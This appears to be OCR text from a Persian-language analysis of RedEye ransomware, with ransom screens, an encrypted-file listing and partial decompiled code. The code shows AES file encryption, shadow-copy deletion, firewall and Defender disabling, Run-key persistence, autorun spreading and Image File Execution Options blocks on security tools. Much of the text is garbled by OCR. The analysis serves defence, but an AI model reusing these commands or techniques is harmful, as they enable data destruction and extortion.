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Microsoft .NET Framework X J

| Continue, the application will ignore this emor and attempt to continue. ff

e Unhandled exception has occumed in your application. if you click
l
0" you cick Qut, the application wil close immediately.

Object reference not set to an instance of an object.
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Your PC will be destroyed in 3 Days 5 Hours 17 Minutes 24 Seconds!

Red Eye Ransomware Home Encrypted Files  Decrypt Files Support Destroy PC

All your personal files has been encrypted with an very strong key by RedEye!
(Rijndael-Algorithmus - AES - 256 Bit)

The only way to get your files back is:

- Go to http://redeye85x9tbxiyki.onion/tbxlyki - Enter your Personal ID

and pay 0.1 Bitcoins to the adress below! After that you need to click on
"Check Payment". Then you will get a special key to unlock your computer.

You got 4 days to pay, when the time is up,
then your PC will be fully destroyed!

Your Personal ID: CivMF1gfx
Bitcoin Address: 1JSHVXXnGDydVXVamFW9AEmk3vk8cF8Vuj Received: 0 BTC Check Payment J




et
wleUblis yglis gilbliyl yljg ‘ —

wlplolkUblg jgls gy lojlw

el Gearlge 5 2003 2505 Lo 3 a3k e QLWL IS G il i Wl
Ales sad (18 50, e YOUAES(Rijndael) (5515 505 w5 51 51 oslinal L 1 La LU plas 45 ilos ga
_> http://redeyeAoxatbxiyki.onion/tbxlyki sl 4 54 sl b LLiS ey ce b oLl 3
Doy S onlan ) Sy 0) o o35 lulid US 055 5,05 L 5 03500 a0 Sl
Gy e SIS Lty 51 ey dulad Ctls y VISHVXXNGDydVXVamFWAAEMKYVKACFAVU;
Har Sl S e les ula o 8L 1 0 e LS 5s, A Check Payment (gasSs

.JFMU}'—JﬁU\) dL}Wcon::u"cLagL}bﬂ rJ&Q)ﬂ)JSL\oJ\Ju@jJJi CL’

Your IP: Your PC will be destroyed in 3 Days 5 Hours 22 Minutes 48 Seconds!

Red Eye Ransomware Home Encrypted Files Decrypt Files Destroy PC

All your personal files h4 RedE ted Files g key by RedEye!

(Rijndael-Algorithmus - ¢

The only way to get youi:
- Go to http://redeye85x¢
and pay 0.1 Bitcoins to t:
"Check Payment". Ther

rsonal 1D
d to click on
your computer.

You got 4 days to pay, v
then your PC will be full

Your Personal ID: CivMF1gfx

Bitcoin Address: 1JSHVxXnGDydVXVamFW9OAEmk3vk8cF8Vuj Received: 0 BTC

)‘fe‘CL, la.wj: ol 6)\.)5]4) LSLAJiLe k:»ww:‘ .Y J‘i)"a'?

Your PC will be destroyed in 3 Days 5 Hours 21 Minutes 47 Seconds!

Red Eye Ransomware Home Encrypted Files Support Destroy PC

All your personal files ha I i g key by RedEye!
(Rijndael-Algorithmus -

The only way to get youl

- Go to http://redeye85x¢ rsonal 1D
and pay 0.1 Bitcoins to t d to click on
"Check Payment". Ther your computer.

You got 4 days to pay, v

then your PC will be fully

Your Personal ID: CivMF1gfx

Bitcoin Address: 1JSHVxXnGDydVXVamFWSAEmMk3vk8cF8Vuj Received: 0 BTC Check Payment

f‘?cbéaﬂc,\?‘bﬁ C))j’.o).) ol ‘;:'L«S/JA) du&bwrﬂj@'
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Your IP: Your PC will be destroyed in 3 Days 5 Hours 20 Minutes 55 Seconds!

Red Eye Ransomware Home Encrypted Files Decrypt Files | Support ‘ Destroy PC

All your personal files h{ RedEve Support g key by RedEye!

(Rijndael-Algorithmus - Chat live with us

The only way to get you

-Goto http://r_Ede_yeSSXS http://redeye85x9tbxiyki.onion/tbxlyki !I'SOI’la! 1D
and pay 0.1 Bitcoins to t d to click on
"Check Payment". Ther your computer.

You got 4 days to pay, v

then your PC will be full

Your Personal ID: CivMF1gfx

Bitcoin Address: 1JSHVxXnGDydVXVamFW9AEmk3vk8cF8Vuj Received: 0 BTC Check Payment

Orerlen L bLIL 6518 5 el ity gl

Your IP: Your PC will be destroyed in 3 Days 5 Hours 13 Minutes 56 Seconds!

Red Eye Ransomware Encrypted Files Decrypt Files Support Destroy PC

All your personal files hg RedEye Destroy Everything g key by RedEye!
(Rijndael-Algorithmus -

The only way to get you
- Go to http://redeye85x§
and pay 0.1 Bitcoins to {
"Check Payment". The

rsonal ID
d to click on
your computer.

You got 4 days to pay,
then your PC will be full

Your Personal ID: WzHu8pakB

Bitcoin Address: 1JSHVxXnGDydVXVamFW9AEmMk3vk8cF8Vuj Received: 0 BTC Check Payment
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RledEye Terminated your computer?
The reason for that could be:
The time ha expired

You clicked on the ’'Destroy PC’ button

no way to fix your PC* Have Fun to try it :)

Uy YouTube Channel
idd me on discord?
iCoreX#3333 < (

reator of Jigsaw, Annabelle & RedEye R

lansomware! My old discord

iwccount named ’iCoreX#1337’° cord -

got terminated by di
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Chinese

English
8 French
Geman

Indian

y by RedEyusa
Japanese
Korean
Portuguese
Russian
Spanish
Turkish
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Organize ~

. Favorites
Bl Desktop
4 Downloads

«» Recent Places

.l Libraries

‘. Documents
4L Music

=L Pictures

;, Videos

& Computer
& Local Disk (C:)
= Media (E)

€ Network

21 items

Include in library =

Share with

Name

.«com.rar.RedEye
.url.RedEye
_lite.zip.RedEye
1la8b7ab55Qtd.bin.gz.RedEye
42_YasDL.com.rar.RedEye
ad983362305.bin.gz.RedEye
adly.ir.rar.RedEye

am.Ink. RedEye
com.rar.RedEye
d.com.zip.RedEye
HeStorm_1.jpg.RedEye
Lcom.exe.RedEye
load.com.zip.RedEye
lock-note.jpg.RedEye
olkit.exe.RedEye

OllyDbg 2.01.rar.RedEye
php.mp4.RedEye

Read Me.txt.RedEye
redeye.rar.RedEye
Setup.exe.RedEye
UpN53Qtd.exe.RedEye

New folder
Date modified

6/11/2018 6:13 PM
6/11/2018 6:12 PM
6/11/2018 6:13 PM
6/11/2018 6:13 PM
6/11/2018 6:12 PM
6/11/2018 6:13 PM
6/11/2018 6:13 PM
6/11/2018 6:12 PM
6/11/2018 6:13 PM
6/11/2018 6:12 PM
6/11/2018 6:13 PM
6/11/2018 6:12 PM
6/11/2018 6:12 PM
6/11/2018 6:13 PM
6/11/2018 6:18 PM
6/11/2018 6:13 PM
6/11/2018 6:13 PM
6/11/2018 6:12 PM
6/11/2018 6:13 PM
6/11/2018 6:12 PM
6/11/2018 6:18 PM

Type

REDEYE

REDEYE F
REDEYE Fi

REDEYE F

REDEYE Fi

REDEYE

REDEYE Fi

REDEYE F

REDEYE Fi

REDEYE F

REDEYE
REDEYE

REDEYE F

REDEYE Fi

REDEYE F

REDEYE Fi

REDEYE

REDEYE Fi

REDEYE F
REDEYE F
REDEYE F

a0 0o 00O 0 ® 0 ®d® @000 00600 D600

Sy 4 b REEEC LSLAASJ}:SJ:’."} )\Jﬁ|cla U'i‘ 4.<.~.:‘ LSOML:..A 9 RedEye )‘Jﬁ‘cl.: )L’I.é) Wt ] 49-_95 L'
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Bitcoin Address Addresses are identifiers which you use to send bitcoins to another person.

Summary

Address 1JSHVXXnGDydVXVamFWOAEmMk3vk8cF8Vuj
Hash 160 bf424f6d5e4b0ae3aa2416e934827329bebf3a69
Tools Related Tags - Unspent Outputs

Transactions

No. Transactions

Total Received

Final Balance

Request Payment

0

0BTC

0BTC

Donation Button

[=]

ol Al eyl Ll Ol s 5 S Ol 1 1Bl ool ine (sla s 5 5T S o plnl

2,15 59y 50 baael e a1 J gl gla o\)j\wd.gj\}é\cl{ 358 Jlax|



2loy

e Ubl g 9ls g byl e)ljs ‘
whplolk UbIGJguéubjh»
o]~ b
.L*vi‘ ‘H’U

23S My Ces 3 Cl’“ 4 RedEye )b‘é‘d‘- S s 31 e

ol S lablos ConfuserEx Ailes AS I bl sl 5y (& 5l eslinad b 1310 o ]

Al pdy OG5 Cb C“‘JS w olies (e sSae pwdige b ) Sleslaal L Ll el

RedEye.exe

s Gy s b RedEye 5581zl ol rl Jb sVl pomm e 350 o5L31 &S sl

D! GMO)LQ‘LAQT‘)‘@JJMM\)J&SML& &TO)JJOM

\. child.wav
Y. redeye.wav

Y. suicide.wav

@\PCL_{(LA:%)JDESUOV PCL;V_>'=.{).> Jﬁyﬁ;@)@jmﬂquﬁfﬁﬂjﬁjw

JM.J:LL;A odalis J.»L; LS")} o Lo Axs QT)JJ.:.: ch.DLaLga



S
wleUblis yglis gilbliyl yljg ‘ —

whplele Ublg 5 gUs ¢ lojLu

OF =l J=B 05T s ol s cpl a gl cnl s RedEye Si51 2L (510860 cle dy o i
sla b Ll an 0T posdle ol sdalin |6 5 g 53 45 035 K5 o3 otr G K0

J"Sdﬂ BLsl RedEye "L.’)"""T’: ol 6)‘.)5]0)

$thislcon

HEPRIg a%:d&u&bd@j@)\}é\cb f‘ﬁ}CLf <=Lx.:i (R IS axkad s



=le Ublg glis g eulbliyl eyljg ‘

whplele Ublg 5 gUs ¢ lojLu

Assembly Bxplorer
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Form3 X

directory3

irectory3))

> enumerator7;
(enumerator? = )

enumerator?

ption exs)

ini®))

Add(text6);

> enumerator9;
)

Sl odalie LB 508 askd 53 Olerlee 4 LI 6513 g,
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Form5 X

, GraphicsUnit.

f*, 14.25f, FontStyle. , GraphicsUnit.

Form4 X
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Form2 X

Class10 X

objectValue = . Class1@. .GetObj

(byte[])objectValue;

Object("redeyel”, Class

Bitmap

objectValue = . Class1@. .GetObj

(Bitmap)objectValue;

Object("redeyebmp”, Class

Bitmap

objectValue =
(Bitmap)objectValue;




e Wbl g gLis g eulbl
el Ubl g gl ¢ ojLu

Class12
System;
System.Diagnostics;

Microsoft.VisualBasic.CompilerServices;

[5tandardModule]

("SbieCtrl™).

Process[] processesByName = Process. ("SbieCtrl™);
(Process process processesByName)
process.Kill();
¥

result =

result;

string_©)

(string_@);

(Process process_@)

process_@._.Kill();

Y Ry

:M"u“’(’b'";‘bfvyéu')"‘i\féﬁ”;wjﬁ\) S LSL‘”JJ

Form2 X

num = @;

Random random =

(¢ Jnum <= Conversions. ( . . )

value = Conversions. (random.Next(®, text3. ));
= - - + Conversions. (text3[Conversions. (value)]);

("C:\\Windows\\Detect.txt"))

fterMBR.txt"))

FileStream fileStream =

[1 bytes UTF8Encoding(
fileStream.l
fileStream.
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sender,
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et fe (1) jpg RedEye T 1est e (19 Compore W42 a

[ [P
3 -Q & =Te 8 Q2 o
3 E:\test file (1) jpg. RedEye GIE iy 3N Etest file (1) ipg N
u 6/11/2018 9:5027PM | 0| | 00000000 (0) 00000000 (0)
Ready Source Only  Targetonly (1) Changed eor [C ow NUM



Forml X

string 5, string_6, [] byte_1, [] byte_2, Forml.GEnum@ genum@_e)

FileStream(string_5, FileMode , FileAccess DE
FileStream(string_6, FileMode , FileAccess
gth(eL);

[4097];

d rijndaelManaged =
- e
. - 100;
CryptoStream cryptoStream;
(genum@_@ != Forml.GEnum®

(genume_e@ == Forml.GEnum@.

cryptoStream yptoStream( 1, rijndaelManaged.C y r(byte_1, byte_2), CryptoStreamMode

cryptostream = CryptoStream( rijndaelManaged. C or(byte_1, byte_2), CryptoStreamilode.

(num < length)

num2 =

cryptoStream. array, @, num2);
num +=
)length * 160.8));
¥
cryptoStrean.

(s

(genumd_6 == Forml.GEnum@

FileInfo fileInfo = FileInfo(
fileInfo.Del 5

(genumd_6 == Forml.GEnum@

FileInfo fileInfo2 = FileInfo(
fileInfo2.Delete();

100% ~

Forml X
fileInfo2

(Exception

(genumé_6 == Forml.GEnum@

FileInfo fileInfo3 = FileInfo(
fileInfo3. =();

FileInfo fileInfo4 = Ealaiimra(
fileInfosd. =0

Forml X

FileStream fileStream
[] bytes UTF8Encoding(
fileStream.
fileStream
Forml
Forml.
Pro

(Form1 (100)));
(Form1 (100)));
dEye", byte_, byte 2, Forml.GEnum@.
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Forml X

< > enumerator3;
(enumerator3 ! )

enumerato )s

( directory2 .

Microsott.VisualBasic.FileIO.5earchOption.

{

(directory

> enumerators;
(enumerator5 != )

enumeratol

u > enumeratora;
(enumerator4 != )

enumerator: H

& » Computer » Local Disk (C) »

Organize « =] Open Burn New folder

=

¢ Favorites Name maodified Type

B Desktop

3 Downloads

MSOCache 7/2018 4:22 PM
Office 2013 Crack /17/2018 4: ul
PerfLogs 7/14/2009

File folder
File folder
<» Recent Places File folder
Program Files 2018 File folder

o Libraries ProgramData /5/2018 8:52 File folder

. Documents Python27 f14/2018 1:04 PM File folder

4. Music
= Pictures
i Videos

& Computer
& Local Disk (C)

& Media (E2)

Network

©

Application

Tools
Users

Windows

f13/2018 12:37 PM
/1472018 12:18
/13/2018 10:1

File folder
File folder

File folder

autorun.inf

Saveltxt

windows.exe

redeyebmp.bmp

6/11/2018 6:12

6/11/2018 6:12
f11/2018 6:18 PM
/7/2018 2:17 PM

Setup Information

Bitmap image
Text Document

Application

Size: 349 MB

windows.exe Date modified: 6/7/2018 2:17 PM

Date created: 6/11/2018 6:12 PM
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smethod_4() : void >

str = Classé.

[] logicalDrives = -
( str logicalDrives)

(! . (str + "windows.exe")})

(Assembly. e , str + "windows.exe");
¥
StreamWriter streamWriter Streamliriter(str +

autorun.inf™};
streamliriter.l ine(" [au n]");
streamWriter.l
streamWriter.l ine("* . cute=windows.exe"};
streamliriter.
FileAttributes. ¥;
FileAttributes. ¥;

(Exception ex)

method 2( sender, EventArgs e)

{Process process Process. {"ProcessHacker™))
process . Kill()};

{Process process2 roc - "procexpsad™))
process2 . Kill{);

{(Process process3 roc - "msconfig”))
process3.Kill{);

{Process processd - “taskmgr™)})
process4 Kill()};

{Process processS = “chrome™)})
processS5_ Kill()};

{Process processé r - "firefox™))
process6.Kill{);

{Process process? r - "regedit™))
process7 .Kill{);

{Process process8 < = “opera™))
process8_Kill();

(Process process9 ’ . "UserAccountControlSettings™))
process9 _Kill()};

{Process processl@ - ("yandex"))
process1@ . Kill();

{Process processll - "microsoftedge™))
process11.Kill();

{Process processl2 ro = "microsoftedgecp™))
process12 Kill();

{Process processl3 ro = "iexplore™))

process13 _Kill();
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Class13 X

webClient_1, string_@)

webClient_1.Dow ng{string_©0);

(Exception exception_@)

(exception_@);

WebClient{);

:MJ& rbu‘ b ()YLSLA.L«.’{‘JB 4.5)2 oMM‘JA.‘ZU‘)LLEJM&jJL)‘JB\CL Mb&dmuw)f



timeSpan =

(timeSpan.
(timeSpan .
(timeSpan.

(timeSpan.

(timeSpan.

path "C: ir WS fterMBR . txt";
FileStream fileStream . (path);
[] bytes =
fileStream
fileStream.

(timeSpan.

temp
text

Pl e odaline LB aslsl 3 ab g e (6 ey GaAJS S o 45 WL

Class18 X
System;
System.Diagnostics;
System.Runtime.CompilerServices;
System.WNindows.Forms;
Microsoft.VisualBasic;
Microsoft.VisualBasic.CompilerServices;
Microsoft.VisualBasic.Devices;
Microsoft.VisualBasic.MyServices;
Microsoft.Win32;

[StandardMo

{

“Software\\Microsoft\\Windows\\CurrentVersion\\Run" . e(Application.

ubKey("Softuare\\Microsoft\\Windows\\CurrentVersion\\Run", )-SetValue(Applicat

bKey ("Software\\Wow6432Node\ \Microsoft\\Windows\\CurrentVersion\\Run",
“vssadmin delete shadows /all /quiet”, AppWinStyle. 5 O H
“vssadmin delete shadows /all /quiet”, AppWinStyle. D , -1);
“vssadmin delete shadows /all /quiet”, AppWinStyle. b O H
n. “NetSh Advfirewall set allprofiles state off", AppWinStyle. b s -1);
objectValue = . (Interaction ("WScript.Shell®, "*));
Binding. (objectValue, , regwri 1

"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware",
1,
"REG_DWORD"
H
(objectValue, » 1

"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\DisableRoutinelyTakingAction",
1,
"REG_DWORD"

L , ,

: 3
New nding. (objectValue, o [1

“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\WindowsDefenderMAJ",
1,
"REG_DWORD"
H
(objectValue,
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Class18 X

e Execution Options\

yPermissionCheck

Key = calMachine \\C ntVersion\\Image File Execution Options)

RegistryKeyPermissionCheck.

e Execution Options\

bl Ol &8 uS o il |, shadowcopy (slaase.s vssadmin.exe Lol b sl >l L )p\cp
..)515;‘_570 ‘;Jf;:amda‘)fjsi \‘) la L.}i &
LS e oalizal O U Kol en 4 o5 g5y Sl ) Lais RedEye 153174

mscoree.dll

_CorExeMain
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"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
"Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"
"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\msconfig.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\winlogon.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\taskmgr.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\cmd.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\chrome.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\firefox.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\opera.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\microsoftedge.exe

AR
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"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\microsoftedgecp.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\notepad++.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\iexplore.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\notepad.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\MSASCuil.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\mmc.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\gpedit.msc"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\UserAccountControlSettings.exe"
"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Autoruns64.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Autoruns.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\taskkill.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\powershell.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\yandex.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\attrib.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\bcdedit.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\sethc.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\mspaint.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\recoverydrive.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\logoff.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\control.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\RKill.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\RKill64.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rkill-
unsigned.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rkill-
unsigned64.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\rstrui.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\iExplore.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\iExplore64.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Rkill64.com"
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"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Rkill.scr"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Rkill64.scr"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\ZAM.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\a2start.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\mbam.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\ComboFix.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mb3-
setup-1878.1878-3.3.1.2183.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\AdwCleaner.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\HitmanPro.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\HitmanPro_x64.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\explorer.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\csrss.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\wininit.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\userinit.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\svchost.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\winlogon.exe"
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"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\msconfig.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\winlogon.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\taskmgr.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\cmd.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\chrome.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\firefox.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\opera.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\microsoftedge.exe

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\microsoftedgecp.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\notepad++.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\iexplore.exe"
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"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\notepad.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\MSASCuil.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\mmc.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\gpedit.msc"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\UserAccountControlSettings.exe"
"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Autoruns64.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Autoruns.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\taskkill.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\powershell.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\yandex.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\attrib.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\bcdedit.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\sethc.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\mspaint.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\recoverydrive.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\logoff.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\control.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\RKill.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\RKill64.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rkill-
unsigned.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\rkill-
unsigned64.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\rstrui.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\iExplore.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\iExplore64.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Rkill64.com"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Rkill.scr"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\Rkill64.scr"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\ZAM.exe"
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"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\a2start.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\mbam.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\ComboFix.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\mb3-
setup-1878.1878-3.3.1.2183.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\AdwCleaner.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\HitmanPro.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\HitmanPro_x64.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\explorer.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\csrss.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\wininit.exe"

"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\userinit.exe"

"SOFTWARE\\WOW&6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\svchost.exe"

"SOFTWARE\\WOW@6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution
Options\\winlogon.exe"
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"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware"
"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows Defender\\DisableRoutinelyTakingAction"
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\WindowsDef
enderMAJ"
"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\WindowsDefe
nderMAJ"

